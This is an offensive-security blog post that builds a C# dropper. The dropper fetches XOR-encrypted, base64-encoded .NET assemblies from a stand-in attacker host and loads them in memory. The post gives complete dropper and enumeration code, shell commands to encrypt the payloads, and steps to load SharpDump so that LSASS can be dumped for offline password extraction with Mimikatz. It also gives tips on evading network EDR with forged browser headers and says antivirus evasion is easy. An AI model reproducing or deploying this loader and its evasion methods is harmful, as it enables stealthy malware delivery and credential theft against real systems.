While many organizations are still highly susceptible to PowerShell based attacks, sophisticated security programs are getting better at detecting rogue PowerShell in their environments. As such, we are seeing a rise in native C# offensive security tools that dynamically load and operate completely in memory. This post will explore a simple C# dropper example that loads remotely hosted encrypted assemblies in memory.
To begin we will create a simple DLL that will be loaded later as a C# assembly. What's an assembly, you might ask? According to Microsoft:
An assembly is a collection of types and resources that are built to work together and form a logical unit of functionality. Assemblies take the form of executable (.exe) or dynamic link library (.dll) files, and are the building blocks of .NET applications. They provide the common language runtime with the information it needs to be aware of type implementations.
That's a mouthful. To simplify let's just say that an assembly is a compiled .NET DLL or EXE. Assemblies can be executed as an executable (if they have an runtime entry point) or loaded by another application where individual class methods can be called.
To create our DLL, begin a new .NET library project in Visual Studio:
In our project we'll add the following code that will perform two basic OS enumeration operations in C#, list local users on the machine and list all running processes.
// DoEnum.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Management; using System.Diagnostics; namespace SharpEnumLibrary { public class DoEnum { public static string GetUsers() { var output = "Local users...\n"; SelectQuery query = new SelectQuery("Win32_UserAccount"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); foreach (ManagementObject user in searcher.Get()) { output += user["Name"] +"\n"; } return output; } public static string GetRunningProcesses() { var output = "Running processes...\n"; Process[] processlist = Process.GetProcesses(); output += "PID\tName\n"; foreach (Process p in processlist.OrderBy(m => m.ProcessName)) { output += p.Id +"\t"+ p.ProcessName +"\n"; } return output; } } }
Build the project to generate the DLL SharpEnumLibrary.dll.
Next we build our dropper (or stage0) payload, a small executable who's only job is to load other payloads dynamically.
// MikeDrop Program.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Reflection; using System.Net; using System.IO; using System.Diagnostics; using System.IO.Compression; using System.Runtime.InteropServices; using System.Security.Principal; namespace MikeDrop { class Program { private static string XorWithKey(string text, string key) { var decrypted = new StringBuilder(); for (int i = 0; i < (text.Length - 1); i++) { decrypted.Append((char)((uint)text[i] ^ (uint)key[i % key.Length])); } return decrypted.ToString(). } static void Main(string[] args) { var wc = new WebClient(); wc.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); // Reflectively load assembly from a file on disk //var a = Assembly.LoadFile(@"C:\\Users\mikeg\Source\Repos\SharpEnumLibrary\SharpEnumLibrary\bin\Debug\SharpEnumLibrary.dll"); // Reflectively load assembly from a remote URL //var a = Assembly.Load(wc.DownloadData("https://attacker.host/SharpEnumLibrary.dll")); // Reflectively load assembly from base64 encoded file via a remote URL //var a = Assembly.Load(System.Convert.FromBase64String(wc.DownloadString("https://attacker.host/SharpEnumLibrary.dll.b64"))); // Reflectively load assembly from base64 encoded xor encrypted file via a remote URL var a = Assembly.Load(System.Convert.FromBase64String( XorWithKey(wc.DownloadString("https://attacker.host/SharpEnumLibrary.dll.b64.xor"),"mykey") )); // Create instance var t = a.GetType("SharpEnumLibrary.DoEnum"); var c = Activator.CreateInstance(t); // Execute GetUsers var m = t.GetMethod("GetUsers"); var output = (String)m.Invoke(c, null); // Execute GetRunningProcesses m = t.GetMethod("GetRunningProcesses"); output += "\n"+ (String)m.Invoke(c, null); // Pause for input Console.WriteLine(output); } } }
The source for MikeDrop includes a few different methods to load our DLL, directly from disk (useful for testing), remotely via a URL, via a remote URL when base64 encoded, and finally via an XOR encrypted base64 payload. XOR was chosen do to its low complexity and ability to encrypt with a simple passphrase versus an initialization vector.
Our DLL payload can be turned into a base64 xor encrypted file in Linux:
$ base64 SharpEnumLibrary.dll > SharpEnumLibrary.dll.b64 $ cat SharpEnumLibrary.dll.b64 | python xor.py "mykey" > SharpEnumLibrary.dll.b64.xor
Many XOR implementations exist. I found this useful one on github
Once the DLL payload is loaded into memory, the assembly can be reflectively loaded, referenced by the the namespace and class name. Once loaded the class methods can be run.
This example can be extended to be more sophisticated, such as allowing the attacker to dynamically specify the assembly to load, sending output to a remote C2 listener, and performing more useful enumeration and execution on the target. Most of these topics are outside the scope of this post, but I will demonstrate how other offensive security assemblies can be loaded into our dropper.
As an example, let's take a look at SharpDump, a useful utility that allows an attacker to create a MiniDump of the Local Security Authority Subsystem Service (LSASS.EXE), useful for dumping passwords offline with Mimikatz.
Since this assembly is an EXE we will need a stepping in point, as we won't be able to call Main() directly. Instead, simply create a new class method called RunMain() that replicates the desired functionality.
public static void RunMain() { string systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); string dumpDir = String.Format("C:\\Windows\\Temp\\", systemRoot); if (!Directory.Exists(dumpDir)) { Console.WriteLine(String.Format("\n[X] Dump directory \"{0}\" doesn't exist!\n", dumpDir)); return; } Minidump(); }
Once in place, build the project to generate the executable.
We can call SharpDump in MikeDrop by adding the following code:
var a = Assembly.Load(System.Convert.FromBase64String( XorWithKey(wc.DownloadString("https://attacker.host/SharpDump.exe.b64.xor"),"mykey") )); var t = a.GetType("SharpDump.Program"); var c = Activator.CreateInstance(t); var m = t.GetMethod("RunMain"); m.Invoke(c, null);
One tip. You may need to change the build target for both MikeDrop and SharpDump to match. Right click on Properties in the right sidebar and edit Platform Target to x64.
Once built, it executes like a charm!
The base64 encrypted payload may be enough to evade network based EDR solutions, especially if the HTTP headers are forged to look like a regular web browser, and the remote URL is crafted to look less suspicious.
Will this 1337 tradecraft bypass Antivirus? No. Windows Defender will flag SharpDump as it loads into memory. Bummer.
To evade Antivirus, modifications need to be made to SharpDump to change the executable enough so it slips through the cracks. This is an exercise left for the reader. I've validated it's possible, and took less than 10 minutes.
Some tips for Antivirus evasion:
Get coding and have some fun!
Posted: Jan 31, 2020
Keyword tags: red teamc sharptradecraft
S3 Buckets: Now With Both Leak & Fill Vulnerability
Stealing Data With CSS: Attack and Defense
Move Over S3: Open Directory Indexes Continue to be a Problem
Security Researchers Lose a Favorite DNS Recon Tool Jan 2018
KRACK: How To Protect Yourself on a Flawed Network
Equifax, SEC, & Now Deloitte: Organizations Must Employ Offensive Security